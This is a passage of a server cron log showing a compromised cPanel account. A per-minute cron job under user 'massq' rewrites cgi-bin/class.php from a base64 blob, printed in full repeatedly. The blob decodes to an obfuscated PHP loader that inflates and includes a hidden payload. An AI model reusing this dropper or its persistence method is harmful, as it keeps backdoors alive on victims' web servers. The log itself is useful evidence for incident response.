&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:25:01 server CROND[3176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:25:01 server CROND[3177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:26:01 server CROND[4096]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:27:01 server CROND[4558]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 05:27:01 server CROND[4559]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:28:01 server CROND[5248]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:29:01 server CROND[6115]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:30:01 server CROND[7030]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 05:30:01 server CROND[7032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:30:01 server CROND[7033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:30:01 server CROND[7031]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:30:01 server CROND[7038]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats &gt; /dev/null 2&gt;&amp;1)
Nov 13 05:31:01 server CROND[7470]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:32:01 server CROND[8424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:33:01 server CROND[9151]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:34:01 server CROND[10015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:35:01 server CROND[10890]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 05:35:01 server CROND[10891]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 05:35:01 server CROND[10897]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 05:35:01 server CROND[10901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:35:01 server CROND[10902]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 05:36:01 server CROND[11880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 05:37:01 server CROND[12824]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
